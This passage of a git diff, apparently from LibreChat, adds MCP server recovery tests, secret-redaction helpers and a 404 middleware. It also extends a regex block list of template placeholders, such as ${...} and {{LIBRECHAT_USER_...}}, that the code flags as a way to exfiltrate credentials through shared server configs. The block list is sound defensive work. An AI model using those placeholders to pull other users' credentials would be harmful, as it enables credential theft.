+import { MCPManager } from '~/mcp/MCPManager';
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+    debug: jest.fn(),
+  },
+}));
+
+jest.mock('~/auth', () => ({
+  createSSRFSafeUndiciConnect: jest.fn(() => undefined),
+  resolveHostnameSSRF: jest.fn(async () => false),
+}));
+
+jest.mock('~/cluster', () => ({
+  isLeader: jest.fn().mockResolvedValue(true),
+}));
+
+jest.mock('~/mcp/mcpConfig', () => ({
+  mcpConfig: { CONNECTION_CHECK_TTL: 0 },
+}));
+
+jest.mock('~/mcp/registry/db/ServerConfigsDB', () => ({
+  ServerConfigsDB: jest.fn().mockImplementation(() => ({
+    get: jest.fn().mockResolvedValue(undefined),
+    getAll: jest.fn().mockResolvedValue({}),
+    add: jest.fn().mockResolvedValue(undefined),
+    update: jest.fn().mockResolvedValue(undefined),
+    remove: jest.fn().mockResolvedValue(undefined),
+    reset: jest.fn().mockResolvedValue(undefined),
+  })),
+}));
+
+const mockMongoose = {} as typeof import('mongoose');
+
+const allAgentsCreated: Agent[] = [];
+const OriginalAgent = Agent;
+const PatchedAgent = new Proxy(OriginalAgent, {
+  construct(target, args) {
+    const instance = new target(...(args as [Agent.Options?]));
+    allAgentsCreated.push(instance);
+    return instance;
+  },
+});
+(global as Record<string, unknown>).__undiciAgent = PatchedAgent;
+
+afterAll(async () => {
+  const destroying = allAgentsCreated.map((a) => {
+    if (!a.destroyed && !a.closed) {
+      return a.destroy().catch(() => undefined);
+    }
+    return Promise.resolve();
+  });
+  allAgentsCreated.length = 0;
+  await Promise.all(destroying);
+});
+
+async function safeDisconnect(conn: MCPConnection | null): Promise<void> {
+  if (!conn) return;
+  (conn as unknown as { shouldStopReconnecting: boolean }).shouldStopReconnecting = true;
+  conn.removeAllListeners();
+  await conn.disconnect();
+}
+
+function getFreePort(): Promise<number> {
+  return new Promise((resolve, reject) => {
+    const srv = net.createServer();
+    srv.listen(0, '127.0.0.1', () => {
+      const addr = srv.address() as net.AddressInfo;
+      srv.close((err) => (err ? reject(err) : resolve(addr.port)));
+    });
+  });
+}
+
+function trackSockets(httpServer: http.Server): () => Promise<void> {
+  const sockets = new Set<Socket>();
+  httpServer.on('connection', (socket: Socket) => {
+    sockets.add(socket);
+    socket.once('close', () => sockets.delete(socket));
+  });
+  return () =>
+    new Promise<void>((resolve) => {
+      for (const socket of sockets) socket.destroy();
+      sockets.clear();
+      httpServer.close(() => resolve());
+    });
+}
+
+interface TestServer {
+  url: string;
+  port: number;
+  close: () => Promise<void>;
+}
+
+async function createMCPServerOnPort(port: number): Promise<TestServer> {
+  const sessions = new Map<string, StreamableHTTPServerTransport>();
+
+  const httpServer = http.createServer(async (req, res) => {
+    const sid = req.headers['mcp-session-id'] as string | undefined;
+    let transport = sid ? sessions.get(sid) : undefined;
+
+    if (!transport) {
+      transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID() });
+      const mcp = new McpServer({ name: 'recovery-test-server', version: '0.0.1' });
+      mcp.tool('echo', 'Echo tool for testing', {}, async () => ({
+        content: [{ type: 'text', text: 'ok' }],
+      }));
+      mcp.tool('greet', 'Greeting tool', {}, async () => ({
+        content: [{ type: 'text', text: 'hello' }],
+      }));
+      await mcp.connect(transport);
+    }
+
+    await transport.handleRequest(req, res);
+
+    if (transport.sessionId && !sessions.has(transport.sessionId)) {
+      sessions.set(transport.sessionId, transport);
+      transport.onclose = () => sessions.delete(transport!.sessionId!);
+    }
+  });
+
+  const destroySockets = trackSockets(httpServer);
+  await new Promise<void>((resolve) => httpServer.listen(port, '127.0.0.1', resolve));
+
+  return {
+    url: `http://127.0.0.1:${port}/`,
+    port,
+    close: async () => {
+      const closing = [...sessions.values()].map((t) => t.close().catch(() => undefined));
+      sessions.clear();
+      await Promise.all(closing);
+      await destroySockets();
+    },
+  };
+}
+
+describe('MCP reinitialize recovery – integration (issue #12143)', () => {
+  let server: TestServer | null = null;
+  let conn: MCPConnection | null = null;
+  let registry: MCPServersRegistry;
+
+  beforeEach(async () => {
+    (MCPServersRegistry as unknown as { instance: undefined }).instance = undefined;
+    MCPServersRegistry.createInstance(mockMongoose, ['127.0.0.1']);
+    registry = MCPServersRegistry.getInstance();
+    await registryStatusCache.reset();
+    await registry.reset();
+    MCPServersInitializer.resetProcessFlag();
+  });
+
+  afterEach(async () => {
+    await safeDisconnect(conn);
+    conn = null;
+    // Reset MCPManager if it was created during the test
+    try {
+      const mgr = MCPManager.getInstance();
+      await Promise.all(mgr.appConnections?.disconnectAll() ?? []);
+    } catch {
+      // Not initialized — nothing to clean up
+    }
+    (MCPManager as unknown as { instance: null }).instance = null;
+    if (server) {
+      await server.close();
+      server = null;
+    }
+  });
+
+  it('should store a stub config when the MCP server is unreachable at startup', async () => {
+    const deadPort = await getFreePort();
+    const configs: t.MCPServers = {
+      'speedy-mcp': {
+        type: 'streamable-http',
+        url: `http://127.0.0.1:${deadPort}/`,
+      },
+    };
+
+    await MCPServersInitializer.initialize(configs);
+
+    // Before the fix: getServerConfig would return undefined here
+    // After the fix: a stub with inspectionFailed=true is stored
+    const config = await registry.getServerConfig('speedy-mcp');
+    expect(config).toBeDefined();
+    expect(config!.inspectionFailed).toBe(true);
+    expect(config!.url).toBe(`http://127.0.0.1:${deadPort}/`);
+    expect(config!.tools).toBeUndefined();
+    expect(config!.capabilities).toBeUndefined();
+    expect(config!.toolFunctions).toBeUndefined();
+  });
+
+  it('should recover via reinspectServer after the MCP server comes back online', async () => {
+    // Phase 1: Server is down at startup
+    const deadPort = await getFreePort();
+    const configs: t.MCPServers = {
+      'speedy-mcp': {
+        type: 'streamable-http',
+        url: `http://127.0.0.1:${deadPort}/`,
+      },
+    };
+
+    await MCPServersInitializer.initialize(configs);
+
+    const stubConfig = await registry.getServerConfig('speedy-mcp');
+    expect(stubConfig).toBeDefined();
+    expect(stubConfig!.inspectionFailed).toBe(true);
+
+    // Phase 2: Start the real server on the same (previously dead) port
+    server = await createMCPServerOnPort(deadPort);
+
+    // Phase 3: Reinspect — this is what the reinitialize button triggers
+    const result = await registry.reinspectServer('speedy-mcp', 'CACHE');
+
+    // Verify the stub was replaced with a fully inspected config
+    expect(result.config.inspectionFailed).toBeUndefined();
+    expect(result.config.tools).toContain('echo');
+    expect(result.config.tools).toContain('greet');
+    expect(result.config.capabilities).toBeDefined();
+    expect(result.config.toolFunctions).toBeDefined();
+
+    // Verify the registry now returns the real config
+    const realConfig = await registry.getServerConfig('speedy-mcp');
+    expect(realConfig).toBeDefined();
+    expect(realConfig!.inspectionFailed).toBeUndefined();
+    expect(realConfig!.tools).toContain('echo');
+  });
+
+  it('should allow a real client connection after reinspection succeeds', async () => {
+    // Phase 1: Server is down at startup
+    const deadPort = await getFreePort();
+    const configs: t.MCPServers = {
+      'speedy-mcp': {
+        type: 'streamable-http',
+        url: `http://127.0.0.1:${deadPort}/`,
+      },
+    };
+
+    await MCPServersInitializer.initialize(configs);
+    expect((await registry.getServerConfig('speedy-mcp'))!.inspectionFailed).toBe(true);
+
+    // Phase 2: Server comes back online on the same port
+    server = await createMCPServerOnPort(deadPort);
+
+    // Phase 3: Reinspect
+    await registry.reinspectServer('speedy-mcp', 'CACHE');
+
+    // Phase 4: Establish a real client connection
+    conn = new MCPConnection({
+      serverName: 'speedy-mcp',
+      serverConfig: { type: 'streamable-http', url: server.url },
+      useSSRFProtection: false,
+    });
+
+    await conn.connect();
+    const tools = await conn.fetchTools();
+
+    expect(tools).toHaveLength(2);
+    expect(tools.map((t) => t.name)).toContain('echo');
+    expect(tools.map((t) => t.name)).toContain('greet');
+  });
+
+  it('should not attempt connections to stub servers via ConnectionsRepository', async () => {
+    const deadPort = await getFreePort();
+    await MCPServersInitializer.initialize({
+      'stub-srv': { type: 'streamable-http', url: `http://127.0.0.1:${deadPort}/` },
+    });
+    expect((await registry.getServerConfig('stub-srv'))!.inspectionFailed).toBe(true);
+
+    const repo = new ConnectionsRepository(undefined);
+    expect(await repo.has('stub-srv')).toBe(false);
+    expect(await repo.get('stub-srv')).toBeNull();
+
+    const all = await repo.getAll();
+    expect(all.has('stub-srv')).toBe(false);
+  });
+
+  it('addServerStub should clear negative read-through cache entries', async () => {
+    // Query a server that doesn't exist — result is negative-cached
+    const config1 = await registry.getServerConfig('late-server');
+    expect(config1).toBeUndefined();
+
+    // Store a stub (simulating a failed init that runs after the lookup)
+    await registry.addServerStub(
+      'late-server',
+      { type: 'streamable-http', url: 'http://127.0.0.1:9999/' },
+      'CACHE',
+    );
+
+    // The stub should be found despite the earlier negative cache entry
+    const config2 = await registry.getServerConfig('late-server');
+    expect(config2).toBeDefined();
+    expect(config2!.inspectionFailed).toBe(true);
+  });
+
+  it('concurrent reinspectServer calls should not crash or corrupt state', async () => {
+    const deadPort = await getFreePort();
+    await MCPServersInitializer.initialize({
+      'race-server': {
+        type: 'streamable-http',
+        url: `http://127.0.0.1:${deadPort}/`,
+      },
+    });
+    expect((await registry.getServerConfig('race-server'))!.inspectionFailed).toBe(true);
+
+    server = await createMCPServerOnPort(deadPort);
+
+    // Simulate multiple users clicking Reinitialize at the same time.
+    // reinitMCPServer calls reinspectServer internally — this tests the critical section.
+    const n = 3 + Math.floor(Math.random() * 8); // 3–10 concurrent calls
+    const results = await Promise.allSettled(
+      Array.from({ length: n }, () => registry.reinspectServer('race-server', 'CACHE')),
+    );
+
+    const successes = results.filter((r) => r.status === 'fulfilled');
+    const failures = results.filter((r) => r.status === 'rejected');
+
+    // At least one must succeed
+    expect(successes.length).toBeGreaterThanOrEqual(1);
+
+    // Any failure must be the "not in a failed state" guard (the first call already
+    // replaced the stub), not an unhandled crash or data corruption.
+    for (const f of failures) {
+      expect((f as PromiseRejectedResult).reason.message).toMatch(/not in a failed state/);
+    }
+
+    // Final state must be fully recovered regardless of how many succeeded
+    const config = await registry.getServerConfig('race-server');
+    expect(config).toBeDefined();
+    expect(config!.inspectionFailed).toBeUndefined();
+    expect(config!.tools).toContain('echo');
+  });
+
+  it('concurrent reinitMCPServer-equivalent flows should not crash or corrupt state', async () => {
+    const deadPort = await getFreePort();
+    const serverName = 'concurrent-reinit';
+    const configs: t.MCPServers = {
+      [serverName]: {
+        type: 'streamable-http',
+        url: `http://127.0.0.1:${deadPort}/`,
+      },
+    };
+
+    // Reset MCPManager singleton so createInstance works
+    (MCPManager as unknown as { instance: null }).instance = null;
+
+    // Initialize with dead server — this sets up both registry (stub) and MCPManager
+    await MCPManager.createInstance(configs);
+    const mcpManager = MCPManager.getInstance();
+
+    expect((await registry.getServerConfig(serverName))!.inspectionFailed).toBe(true);
+
+    // Server comes back online
+    server = await createMCPServerOnPort(deadPort);
+
+    const flowManager = new FlowStateManager<null>(new Keyv(), { ttl: 60_000 });
+    const makeUser = (): IUser =>
+      ({
+        _id: new Types.ObjectId(),
+        id: new Types.ObjectId().toString(),
+        username: 'testuser',
+        email: 'test@example.com',
+        name: 'Test',
+        avatar: '',
+        provider: 'email',
+        role: 'user',
+        emailVerified: true,
+        createdAt: new Date(),
+        updatedAt: new Date(),
+      }) as IUser;
+
+    /**
+     * Replicate reinitMCPServer logic: check inspectionFailed → reinspect → getConnection.
+     * Each call uses a distinct user to simulate concurrent requests from different users.
+     */
+    async function simulateReinitMCPServer(): Promise<{ success: boolean; tools: number }> {
+      const user = makeUser();
+      const config = await registry.getServerConfig(serverName, user.id);
+      if (config?.inspectionFailed) {
+        try {
+          const storageLocation = config.dbId ? 'DB' : 'CACHE';
+          await registry.reinspectServer(serverName, storageLocation, user.id);
+        } catch {
+          // Mirrors reinitMCPServer early return on failed reinspection
+          return { success: false, tools: 0 };
+        }
+      }
+
+      const connection = await mcpManager.getConnection({
+        serverName,
+        user,
+        flowManager,
+        forceNew: true,
+      });
+
+      const tools = await connection.fetchTools();
+      return { success: true, tools: tools.length };
+    }
+
+    const n = 3 + Math.floor(Math.random() * 5); // 3–7 concurrent calls
+    const results = await Promise.allSettled(
+      Array.from({ length: n }, () => simulateReinitMCPServer()),
+    );
+
+    // All promises should resolve (no unhandled throws)
+    for (const r of results) {
+      expect(r.status).toBe('fulfilled');
+    }
+
+    const values = (results as PromiseFulfilledResult<{ success: boolean; tools: number }>[]).map(
+      (r) => r.value,
+    );
+
+    // At least one full reinit must succeed with tools
+    const succeeded = values.filter((v) => v.success);
+    expect(succeeded.length).toBeGreaterThanOrEqual(1);
+    for (const s of succeeded) {
+      expect(s.tools).toBe(2);
+    }
+
+    // Any that returned success: false hit the reinspect guard — that's fine
+    const earlyReturned = values.filter((v) => !v.success);
+    expect(earlyReturned.every((v) => v.tools === 0)).toBe(true);
+
+    // Final registry state must be fully recovered
+    const finalConfig = await registry.getServerConfig(serverName);
+    expect(finalConfig).toBeDefined();
+    expect(finalConfig!.inspectionFailed).toBeUndefined();
+    expect(finalConfig!.tools).toContain('echo');
+  });
+
+  it('reinspectServer should throw MCPInspectionFailedError when the server is still unreachable', async () => {
+    const deadPort = await getFreePort();
+    const configs: t.MCPServers = {
+      'still-broken': {
+        type: 'streamable-http',
+        url: `http://127.0.0.1:${deadPort}/`,
+      },
+    };
+
+    await MCPServersInitializer.initialize(configs);
+    expect((await registry.getServerConfig('still-broken'))!.inspectionFailed).toBe(true);
+
+    // Server is STILL down — reinspection should fail with MCPInspectionFailedError
+    await expect(registry.reinspectServer('still-broken', 'CACHE')).rejects.toThrow(
+      MCPInspectionFailedError,
+    );
+
+    // The stub should remain intact for future retry
+    const config = await registry.getServerConfig('still-broken');
+    expect(config).toBeDefined();
+    expect(config!.inspectionFailed).toBe(true);
+  });
+});
diff --git a/packages/api/src/mcp/registry/__tests__/MCPServerInspector.test.ts b/packages/api/src/mcp/registry/__tests__/MCPServerInspector.test.ts
index 42dc4d2005..b79f2d044a 100644
--- a/packages/api/src/mcp/registry/__tests__/MCPServerInspector.test.ts
+++ b/packages/api/src/mcp/registry/__tests__/MCPServerInspector.test.ts
@@ -1,9 +1,9 @@
 import type { MCPConnection } from '~/mcp/connection';
 import type * as t from '~/mcp/types';
 import { MCPServerInspector } from '~/mcp/registry/MCPServerInspector';
-import { detectOAuthRequirement } from '~/mcp/oauth';
-import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory';
 import { createMockConnection } from './mcpConnectionsMock.helper';
+import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory';
+import { detectOAuthRequirement } from '~/mcp/oauth';
 
 // Mock external dependencies
 jest.mock('../../oauth/detectOAuth');
@@ -277,6 +277,7 @@ describe('MCPServerInspector', () => {
         serverName: 'test_server',
         serverConfig: expect.objectContaining({ type: 'stdio', command: 'node' }),
         useSSRFProtection: true,
+        dbSourced: false,
       });
 
       // Verify temporary connection was disconnected
diff --git a/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.cache_integration.spec.ts b/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.cache_integration.spec.ts
index cb43cb68ce..12d2c9091f 100644
--- a/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.cache_integration.spec.ts
+++ b/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.cache_integration.spec.ts
@@ -303,9 +303,10 @@ describe('MCPServersInitializer Redis Integration Tests', () => {
       const searchToolsServer = await registry.getServerConfig('search_tools_server');
       expect(searchToolsServer).toBeDefined();
 
-      // Verify file_tools_server was not added (due to inspection failure)
+      // Verify file_tools_server was stored as a stub (for recovery via reinitialize)
       const fileToolsServer = await registry.getServerConfig('file_tools_server');
-      expect(fileToolsServer).toBeUndefined();
+      expect(fileToolsServer).toBeDefined();
+      expect(fileToolsServer?.inspectionFailed).toBe(true);
     });
 
     it('should set initialized status after completion', async () => {
diff --git a/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.test.ts b/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.test.ts
index 255ef20760..2998b47d0b 100644
--- a/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.test.ts
+++ b/packages/api/src/mcp/registry/__tests__/MCPServersInitializer.test.ts
@@ -1,11 +1,11 @@
 import { logger } from '@librechat/data-schemas';
 import * as t from '~/mcp/types';
-import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory';
-import { MCPServersInitializer } from '~/mcp/registry/MCPServersInitializer';
-import { MCPConnection } from '~/mcp/connection';
 import { registryStatusCache } from '~/mcp/registry/cache/RegistryStatusCache';
+import { MCPServersInitializer } from '~/mcp/registry/MCPServersInitializer';
 import { MCPServerInspector } from '~/mcp/registry/MCPServerInspector';
 import { MCPServersRegistry } from '~/mcp/registry/MCPServersRegistry';
+import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory';
+import { MCPConnection } from '~/mcp/connection';
 
 const FIXED_TIME = 1699564800000;
 const originalDateNow = Date.now;
@@ -296,9 +296,10 @@ describe('MCPServersInitializer', () => {
       const searchToolsServer = await registry.getServerConfig('search_tools_server');
       expect(searchToolsServer).toBeDefined();
 
-      // Verify file_tools_server was not added (due to inspection failure)
+      // Verify file_tools_server was stored as a stub (for recovery via reinitialize)
       const fileToolsServer = await registry.getServerConfig('file_tools_server');
-      expect(fileToolsServer).toBeUndefined();
+      expect(fileToolsServer).toBeDefined();
+      expect(fileToolsServer?.inspectionFailed).toBe(true);
     });
 
     it('should log server configuration after initialization', async () => {
diff --git a/packages/api/src/mcp/registry/__tests__/MCPServersRegistry.test.ts b/packages/api/src/mcp/registry/__tests__/MCPServersRegistry.test.ts
index cc86f0e140..8891120717 100644
--- a/packages/api/src/mcp/registry/__tests__/MCPServersRegistry.test.ts
+++ b/packages/api/src/mcp/registry/__tests__/MCPServersRegistry.test.ts
@@ -1,4 +1,4 @@
-import * as t from '~/mcp/types';
+import type * as t from '~/mcp/types';
 import { MCPServersRegistry } from '~/mcp/registry/MCPServersRegistry';
 import { MCPServerInspector } from '~/mcp/registry/MCPServerInspector';
 
@@ -193,6 +193,22 @@ describe('MCPServersRegistry', () => {
     });
   });
 
+  describe('reinspectServer', () => {
+    it('should throw when called on a healthy (non-stub) server', async () => {
+      await registry.addServer('healthy_server', testParsedConfig, 'CACHE');
+
+      await expect(registry.reinspectServer('healthy_server', 'CACHE')).rejects.toThrow(
+        'is not in a failed state',
+      );
+    });
+
+    it('should throw when the server does not exist', async () => {
+      await expect(registry.reinspectServer('ghost_server', 'CACHE')).rejects.toThrow(
+        'not found in CACHE',
+      );
+    });
+  });
+
   describe('Read-through cache', () => {
     describe('getServerConfig', () => {
       it('should cache repeated calls for the same server', async () => {
diff --git a/packages/api/src/mcp/registry/__tests__/ServerConfigsDB.test.ts b/packages/api/src/mcp/registry/__tests__/ServerConfigsDB.test.ts
index 1c755ae0f0..38ed51cd99 100644
--- a/packages/api/src/mcp/registry/__tests__/ServerConfigsDB.test.ts
+++ b/packages/api/src/mcp/registry/__tests__/ServerConfigsDB.test.ts
@@ -1456,4 +1456,102 @@ describe('ServerConfigsDB', () => {
       expect(retrieved?.apiKey?.key).toBeUndefined();
     });
   });
+
+  describe('DB layer returns decrypted secrets (redaction is at controller layer)', () => {
+    it('should return decrypted apiKey.key to VIEW-only user via get()', async () => {
+      const config: ParsedServerConfig = {
+        type: 'sse',
+        url: 'https://example.com/mcp',
+        title: 'Secret API Key Server',
+        apiKey: {
+          source: 'admin',
+          authorization_type: 'bearer',
+          key: 'admin-secret-api-key',
+        },
+      };
+      const created = await serverConfigsDB.add('temp-name', config, userId);
+
+      const role = await mongoose.models.AccessRole.findOne({
+        accessRoleId: AccessRoleIds.MCPSERVER_VIEWER,
+      });
+      await mongoose.models.AclEntry.create({
+        principalType: PrincipalType.USER,
+        principalModel: PrincipalModel.USER,
+        principalId: new mongoose.Types.ObjectId(userId2),
+        resourceType: ResourceType.MCPSERVER,
+        resourceId: new mongoose.Types.ObjectId(created.config.dbId!),
+        permBits: PermissionBits.VIEW,
+        roleId: role!._id,
+        grantedBy: new mongoose.Types.ObjectId(userId),
+      });
+
+      const result = await serverConfigsDB.get(created.serverName, userId2);
+      expect(result).toBeDefined();
+      expect(result?.apiKey?.key).toBe('admin-secret-api-key');
+    });
+
+    it('should return decrypted oauth.client_secret to VIEW-only user via get()', async () => {
+      const config = createSSEConfig('Secret OAuth Server', 'Test', {
+        client_id: 'my-client-id',
+        client_secret: 'admin-oauth-secret',
+      });
+      const created = await serverConfigsDB.add('temp-name', config, userId);
+
+      const role = await mongoose.models.AccessRole.findOne({
+        accessRoleId: AccessRoleIds.MCPSERVER_VIEWER,
+      });
+      await mongoose.models.AclEntry.create({
+        principalType: PrincipalType.USER,
+        principalModel: PrincipalModel.USER,
+        principalId: new mongoose.Types.ObjectId(userId2),
+        resourceType: ResourceType.MCPSERVER,
+        resourceId: new mongoose.Types.ObjectId(created.config.dbId!),
+        permBits: PermissionBits.VIEW,
+        roleId: role!._id,
+        grantedBy: new mongoose.Types.ObjectId(userId),
+      });
+
+      const result = await serverConfigsDB.get(created.serverName, userId2);
+      expect(result).toBeDefined();
+      expect(result?.oauth?.client_secret).toBe('admin-oauth-secret');
+    });
+
+    it('should return decrypted secrets to VIEW-only user via getAll()', async () => {
+      const config: ParsedServerConfig = {
+        type: 'sse',
+        url: 'https://example.com/mcp',
+        title: 'Shared Secret Server',
+        apiKey: {
+          source: 'admin',
+          authorization_type: 'bearer',
+          key: 'shared-api-key',
+        },
+        oauth: {
+          client_id: 'shared-client',
+          client_secret: 'shared-oauth-secret',
+        },
+      };
+      const created = await serverConfigsDB.add('temp-name', config, userId);
+
+      const role = await mongoose.models.AccessRole.findOne({
+        accessRoleId: AccessRoleIds.MCPSERVER_VIEWER,
+      });
+      await mongoose.models.AclEntry.create({
+        principalType: PrincipalType.USER,
+        principalModel: PrincipalModel.USER,
+        principalId: new mongoose.Types.ObjectId(userId2),
+        resourceType: ResourceType.MCPSERVER,
+        resourceId: new mongoose.Types.ObjectId(created.config.dbId!),
+        permBits: PermissionBits.VIEW,
+        roleId: role!._id,
+        grantedBy: new mongoose.Types.ObjectId(userId),
+      });
+
+      const result = await serverConfigsDB.getAll(userId2);
+      const serverConfig = result[created.serverName];
+      expect(serverConfig).toBeDefined();
+      expect(serverConfig?.apiKey?.key).toBe('shared-api-key');
+      expect(serverConfig?.oauth?.client_secret).toBe('shared-oauth-secret');
+    });
+  });
 });
diff --git a/packages/api/src/mcp/registry/db/ServerConfigsDB.ts b/packages/api/src/mcp/registry/db/ServerConfigsDB.ts
index f6f6d90858..50db81b831 100644
--- a/packages/api/src/mcp/registry/db/ServerConfigsDB.ts
+++ b/packages/api/src/mcp/registry/db/ServerConfigsDB.ts
@@ -12,15 +12,18 @@ import type { ParsedServerConfig, AddServerResult } from '~/mcp/types';
 import { AccessControlService } from '~/acl/accessControlService';
 
 /**
- * Regex patterns for credential placeholders that should not be allowed in user-provided headers.
- * These placeholders would substitute the CALLING user's credentials, creating a security risk
- * when MCP servers are shared between users (credential exfiltration).
+ * Regex patterns for credential/env placeholders that should not be allowed in user-provided configs.
+ * These would substitute server credentials or the CALLING user's data, creating exfiltration risks
+ * when MCP servers are shared between users.
  *
  * Safe placeholders like {{MCP_API_KEY}} are allowed as they resolve from the user's own plugin auth.
  */
 const DANGEROUS_CREDENTIAL_PATTERNS = [
+  /\$\{[^}]+\}/g,
   /\{\{LIBRECHAT_OPENID_[^}]+\}\}/g,
   /\{\{LIBRECHAT_USER_[^}]+\}\}/g,
+  /\{\{LIBRECHAT_GRAPH_[^}]+\}\}/g,
+  /\{\{LIBRECHAT_BODY_[^}]+\}\}/g,
 ];
 
 /**
@@ -457,7 +460,7 @@ export class ServerConfigsDB implements IServerConfigsRepositoryInterface {
     };
 
     // Remove key field since it's user-provided (destructure to omit, not set to undefined)
-    // eslint-disable-next-line @typescript-eslint/no-unused-vars
+
     const { key: _removed, ...apiKeyWithoutKey } = result.apiKey!;
     result.apiKey = apiKeyWithoutKey;
 
@@ -521,7 +524,7 @@ export class ServerConfigsDB implements IServerConfigsRepositoryInterface {
           '[ServerConfigsDB.decryptConfig] Failed to decrypt apiKey.key, returning config without key',
           error,
         );
-        // eslint-disable-next-line @typescript-eslint/no-unused-vars
+
         const { key: _removedKey, ...apiKeyWithoutKey } = result.apiKey;
         result.apiKey = apiKeyWithoutKey;
       }
@@ -542,7 +545,7 @@ export class ServerConfigsDB implements IServerConfigsRepositoryInterface {
           '[ServerConfigsDB.decryptConfig] Failed to decrypt client_secret, returning config without secret',
           error,
         );
-        // eslint-disable-next-line @typescript-eslint/no-unused-vars
+
         const { client_secret: _removed, ...oauthWithoutSecret } = oauthConfig;
         result = {
           ...result,
diff --git a/packages/api/src/mcp/types/index.ts b/packages/api/src/mcp/types/index.ts
index 270131036b..bbdabb4428 100644
--- a/packages/api/src/mcp/types/index.ts
+++ b/packages/api/src/mcp/types/index.ts
@@ -156,6 +156,8 @@ export type ParsedServerConfig = MCPOptions & {
   dbId?: string;
   /** True if access is only via agent (not directly shared with user) */
   consumeOnly?: boolean;
+  /** True when inspection failed at startup; the server is known but not fully initialized */
+  inspectionFailed?: boolean;
 };
 
 export type AddServerResult = {
@@ -167,6 +169,8 @@ export interface BasicConnectionOptions {
   serverName: string;
   serverConfig: MCPOptions;
   useSSRFProtection?: boolean;
+  /** When true, only resolve customUserVars in processMCPEnv (for DB-stored servers) */
+  dbSourced?: boolean;
 }
 
 export interface OAuthConnectionOptions {
diff --git a/packages/api/src/mcp/utils.ts b/packages/api/src/mcp/utils.ts
index fddebb9db3..c517388a76 100644
--- a/packages/api/src/mcp/utils.ts
+++ b/packages/api/src/mcp/utils.ts
@@ -1,6 +1,66 @@
 import { Constants } from 'librechat-data-provider';
+import type { ParsedServerConfig } from '~/mcp/types';
 
 export const mcpToolPattern = new RegExp(`^.+${Constants.mcp_delimiter}.+$`);
+
+/**
+ * Allowlist-based sanitization for API responses. Only explicitly listed fields are included;
+ * new fields added to ParsedServerConfig are excluded by default until allowlisted here.
+ *
+ * URLs are returned as-is: DB-stored configs reject ${VAR} patterns at validation time
+ * (MCPServerUserInputSchema), and YAML configs are admin-managed. Env variable resolution
+ * is handled at the schema/input boundary, not the output boundary.
+ */
+export function redactServerSecrets(config: ParsedServerConfig): Partial<ParsedServerConfig> {
+  const safe: Partial<ParsedServerConfig> = {
+    type: config.type,
+    url: config.url,
+    title: config.title,
+    description: config.description,
+    iconPath: config.iconPath,
+    chatMenu: config.chatMenu,
+    requiresOAuth: config.requiresOAuth,
+    capabilities: config.capabilities,
+    tools: config.tools,
+    toolFunctions: config.toolFunctions,
+    initDuration: config.initDuration,
+    updatedAt: config.updatedAt,
+    dbId: config.dbId,
+    consumeOnly: config.consumeOnly,
+    inspectionFailed: config.inspectionFailed,
+    customUserVars: config.customUserVars,
+    serverInstructions: config.serverInstructions,
+  };
+
+  if (config.apiKey) {
+    safe.apiKey = {
+      source: config.apiKey.source,
+      authorization_type: config.apiKey.authorization_type,
+      ...(config.apiKey.custom_header && { custom_header: config.apiKey.custom_header }),
+    };
+  }
+
+  if (config.oauth) {
+    const { client_secret: _secret, ...safeOAuth } = config.oauth;
+    safe.oauth = safeOAuth;
+  }
+
+  return Object.fromEntries(
+    Object.entries(safe).filter(([, v]) => v !== undefined),
+  ) as Partial<ParsedServerConfig>;
+}
+
+/** Applies allowlist-based sanitization to a map of server configs. */
+export function redactAllServerSecrets(
+  configs: Record<string, ParsedServerConfig>,
+): Record<string, Partial<ParsedServerConfig>> {
+  const result: Record<string, Partial<ParsedServerConfig>> = {};
+  for (const [key, config] of Object.entries(configs)) {
+    result[key] = redactServerSecrets(config);
+  }
+  return result;
+}
+
 /**
  * Normalizes a server name to match the pattern ^[a-zA-Z0-9_.-]+$
  * This is required for Azure OpenAI models with Tool Calling
diff --git a/packages/api/src/middleware/index.ts b/packages/api/src/middleware/index.ts
index a208923a49..1f0cbc16fb 100644
--- a/packages/api/src/middleware/index.ts
+++ b/packages/api/src/middleware/index.ts
@@ -1,6 +1,7 @@
 export * from './access';
 export * from './admin';
 export * from './error';
+export * from './notFound';
 export * from './balance';
 export * from './json';
 export * from './concurrency';
diff --git a/packages/api/src/middleware/notFound.ts b/packages/api/src/middleware/notFound.ts
new file mode 100644
index 0000000000..1eac18091f
--- /dev/null
+++ b/packages/api/src/middleware/notFound.ts
@@ -0,0 +1,12 @@
+import { logger } from '@librechat/data-schemas';
+import type { Request, Response } from 'express';
+
+/** Safe to reuse with .replace() at module scope - does not retain lastIndex state */
+// eslint-disable-next-line no-control-regex
+const unsafeChars = /[\r\n\u0000]/g;
+
+export function apiNotFound(req: Request, res: Response): void {
+  const safePath = req.path.replace(unsafeChars, '_').slice(0, 200);
+  logger.debug(`[API 404] ${req.method} ${safePath}`);
+  res.status(404).json({ message: 'Endpoint not found' });
+}
diff --git a/packages/api/src/stream/GenerationJobManager.ts b/packages/api/src/stream/GenerationJobManager.ts
index 815133d616..cd5ff04eb0 100644
--- a/packages/api/src/stream/GenerationJobManager.ts
+++ b/packages/api/src/stream/GenerationJobManager.ts
@@ -1142,6 +1142,19 @@ class GenerationJobManagerClass {
     return this.jobStore.getJobCount();
   }
 
+  /** Returns sizes of internal runtime maps for diagnostics */
+  getRuntimeStats(): {
+    runtimeStateSize: number;
+    runStepBufferSize: number;
+    eventTransportStreams: number;
+  } {
+    return {
+      runtimeStateSize: this.runtimeState.size,
+      runStepBufferSize: this.runStepBuffers?.size ?? 0,
+      eventTransportStreams: this.eventTransport.getTrackedStreamIds().length,
+    };
+  }
+
   /**
    * Get job count by status.
    */
diff --git a/packages/api/src/tools/definitions.spec.ts b/packages/api/src/tools/definitions.spec.ts
index 33ef43a75e..dc58327a2e 100644
--- a/packages/api/src/tools/definitions.spec.ts
+++ b/packages/api/src/tools/definitions.spec.ts
@@ -1,4 +1,6 @@
